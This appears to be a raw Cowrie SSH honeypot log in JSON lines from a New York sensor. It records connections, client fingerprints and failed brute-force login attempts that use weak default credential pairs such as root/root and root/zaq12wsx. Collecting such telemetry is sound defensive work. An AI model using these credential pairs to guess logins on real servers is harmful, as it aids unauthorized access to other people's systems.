{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:40.847352Z","src_ip":"192.109.200.78","session":"750ba0e19df4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsx","message":"login attempt [root/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:41.089144Z","src_ip":"192.109.200.78","session":"750ba0e19df4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:42.172280Z","src_ip":"192.109.200.78","session":"750ba0e19df4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":46154,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbb34cc87e29","protocol":"ssh","message":"New connection: 92.207.4.157:46154 (159.203.135.109:22) [session: dbb34cc87e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:42.829268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:42.831723Z","src_ip":"92.207.4.157","session":"dbb34cc87e29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:42.922176Z","src_ip":"92.207.4.157","session":"dbb34cc87e29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"superadmin","password":"superadmin@123","message":"login attempt [superadmin/superadmin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:43.318251Z","src_ip":"92.207.4.157","session":"dbb34cc87e29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":38218,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fba0f491cb6","protocol":"ssh","message":"New connection: 152.32.171.213:38218 (159.203.135.109:22) [session: 5fba0f491cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:44.153269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:44.157061Z","src_ip":"152.32.171.213","session":"5fba0f491cb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:44.371248Z","src_ip":"152.32.171.213","session":"5fba0f491cb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:44.411702Z","src_ip":"92.207.4.157","session":"dbb34cc87e29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50350,"dst_ip":"10.17.0.5","dst_port":22,"session":"36457fb0f03e","protocol":"ssh","message":"New connection: 192.109.200.78:50350 (10.17.0.5:22) [session: 36457fb0f03e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:44.428288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:44.432053Z","src_ip":"192.109.200.78","session":"36457fb0f03e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:44.513402Z","src_ip":"192.109.200.78","session":"36457fb0f03e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:44.757471Z","src_ip":"192.109.200.78","session":"36457fb0f03e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"test","message":"login attempt [sammy/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:45.263139Z","src_ip":"152.32.171.213","session":"5fba0f491cb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:45.841035Z","src_ip":"192.109.200.78","session":"36457fb0f03e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:46.480254Z","src_ip":"152.32.171.213","session":"5fba0f491cb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50358,"dst_ip":"10.17.0.5","dst_port":22,"session":"d56493987a75","protocol":"ssh","message":"New connection: 192.109.200.78:50358 (10.17.0.5:22) [session: d56493987a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:47.957071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:47.961598Z","src_ip":"192.109.200.78","session":"d56493987a75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:48.042487Z","src_ip":"192.109.200.78","session":"d56493987a75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"root@123","message":"login attempt [user1/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:48.286755Z","src_ip":"192.109.200.78","session":"d56493987a75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:49.369880Z","src_ip":"192.109.200.78","session":"d56493987a75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50364,"dst_ip":"10.17.0.5","dst_port":22,"session":"e27dc42140e5","protocol":"ssh","message":"New connection: 192.109.200.78:50364 (10.17.0.5:22) [session: e27dc42140e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:51.352191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:51.356249Z","src_ip":"192.109.200.78","session":"e27dc42140e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:51.437327Z","src_ip":"192.109.200.78","session":"e27dc42140e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:51.684363Z","src_ip":"192.109.200.78","session":"e27dc42140e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:52.767740Z","src_ip":"192.109.200.78","session":"e27dc42140e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57268,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7b3680aa2c1","protocol":"ssh","message":"New connection: 192.109.200.78:57268 (10.17.0.5:22) [session: f7b3680aa2c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:54.872048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:54.875227Z","src_ip":"192.109.200.78","session":"f7b3680aa2c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:54.954973Z","src_ip":"192.109.200.78","session":"f7b3680aa2c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0987654321","message":"login attempt [root/0987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:55.197092Z","src_ip":"192.109.200.78","session":"f7b3680aa2c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:56.279480Z","src_ip":"192.109.200.78","session":"f7b3680aa2c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":49268,"dst_ip":"159.203.135.109","dst_port":22,"session":"8268e3a90612","protocol":"ssh","message":"New connection: 27.71.230.31:49268 (159.203.135.109:22) [session: 8268e3a90612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:58.511522Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57284,"dst_ip":"10.17.0.5","dst_port":22,"session":"02dc9323647b","protocol":"ssh","message":"New connection: 192.109.200.78:57284 (10.17.0.5:22) [session: 02dc9323647b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:58.578166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:58.584672Z","src_ip":"192.109.200.78","session":"02dc9323647b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:58.665241Z","src_ip":"192.109.200.78","session":"02dc9323647b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:58.909613Z","src_ip":"192.109.200.78","session":"02dc9323647b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:58.991664Z","src_ip":"27.71.230.31","session":"8268e3a90612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:58.995116Z","src_ip":"27.71.230.31","session":"8268e3a90612","protocol":"ssh"}
